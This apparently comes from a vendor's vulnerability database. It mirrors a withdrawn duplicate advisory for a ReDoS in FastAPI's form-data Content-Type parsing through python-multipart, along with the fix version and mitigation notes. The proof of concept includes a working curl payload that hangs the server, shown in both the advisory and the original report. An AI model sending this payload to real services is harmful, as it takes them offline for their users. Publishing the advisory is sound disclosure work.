GHSA-qf9m-vfgh-m389
HIGHDuplicate Advisory: FastAPI Content-Type Header ReDoS
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
fastapiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-2jv5-9r88-3w3p. This link is maintained to preserve external references.
Original Description
Summary
When using form data, python-multipart uses a Regular Expression to parse the HTTP Content-Type header, including options.
An attacker could send a custom-made Content-Type option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests.
This can create a ReDoS (Regular expression Denial of Service): https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS
This only applies when the app uses form data, parsed with python-multipart.
Details
A regular HTTP Content-Type header could look like:
Content-Type: text/html; charset=utf-8
python-multipart parses the option with this RegEx: https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74
A custom option could be made and sent to the server to break it with:
Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
This is also reported to Starlette at: https://github.com/encode/starlette/security/advisories/GHSA-93gm-qmq6-w238
PoC
Create a FastAPI app that uses form data:
# main.py
from typing import Annotated
from fastapi.responses import HTMLResponse
from fastapi import FastAPI,Form
from pydantic import BaseModel
class Item(BaseModel):
username: str
app = FastAPI()
@app.get("/", response_class=HTMLResponse)
async def index():
return HTMLResponse("Test", status_code=200)
@app.post("/submit/")
async def submit(username: Annotated[str, Form()]):
return {"username": username}
@app.post("/submit_json/")
async def submit_json(item: Item):
return {"username": item.username}
Then start it with:
$ uvicorn main:app
INFO: Started server process [50601]
INFO: Waiting for application startup.
INFO: ASGI 'lifespan' protocol appears unsupported.
INFO: Application startup complete.
INFO: Uvicorn running on http://127.0.0.1:8000 (Press CTRL+C to quit)
Then send the attacking request with:
$ curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/submit/'
Stopping it
Because that holds the main loop consuming the CPU non-stop, it's not possible to simply kill Uvicorn with Ctrl+C as it can't handle the signal.
To stop it, first check the process ID running Uvicorn:
$ ps -fA | grep uvicorn
501 59461 24785 0 4:28PM ttys004 0:00.13 /Users/user/code/starlette/env3.10/bin/python /Users/user/code/starlette/env3.10/bin/uvicorn redos_starlette:app
501 59466 99935 0 4:28PM ttys010 0:00.00 grep uvicorn
In this case, the process ID was 59461, then you can kill it (forcefully, with -9) with:
$ kill -9 59461
Impact
It's a ReDoS, (Regular expression Denial of Service), it only applies to those reading form data, using python-multipart. This way it also affects other libraries using Starlette, like FastAPI.
Original Report
This was originally reported to FastAPI as an email to [email protected], sent via https://huntr.com/, the original reporter is Marcello, https://github.com/byt3bl33d3r
<details> <summary>Original report to FastAPI</summary>Hey Tiangolo!
My name's Marcello and I work on the ProtectAI/Huntr Threat Research team, a few months ago we got a report (from @nicecatch2000) of a ReDoS affecting another very popular Python web framework. After some internal research, I found that FastAPI is vulnerable to the same ReDoS under certain conditions (only when it parses Form data not JSON).
Here are the details: I'm using the latest version of FastAPI (0.109.0) and the following code:
from typing import Annotated
from fastapi.responses import HTMLResponse
from fastapi import FastAPI,Form
from pydantic import BaseModel
class Item(BaseModel):
username: str
app = FastAPI()
@app.get("/", response_class=HTMLResponse)
async def index():
return HTMLResponse("Test", status_code=200)
@app.post("/submit/")
async def submit(username: Annotated[str, Form()]):
return {"username": username}
@app.post("/submit_json/")
async def submit_json(item: Item):
return {"username": item.username}
I'm running the above with uvicorn with the following command:
uvicorn server:app
Then run the following cUrl command:
curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/submit/'
You'll see the server locks up, is unable to serve anymore requests and one CPU core is pegged to 100%
You can even start uvicorn with multiple workers with the --workers 4 argument and as long as you send (workers + 1) requests you'll completely DoS the FastApi server.
If you try submitting Json to the /submit_json endpoint with the malicious Content-Type header you'll see it isn't vulnerable. So this only affects FastAPI when it parses Form data.
Cheers
Impact
An attacker is able to cause a DoS on a FastApi server via a malicious Content-Type header if it parses Form data.
Occurrences
</details>Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | fastapi | all versions | 0.109.1 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for fastapi. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update fastapi to 0.109.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-qf9m-vfgh-m389 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-qf9m-vfgh-m389 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-qf9m-vfgh-m389. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-qf9m-vfgh-m389 in your dependencies?
O3 detects GHSA-qf9m-vfgh-m389 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.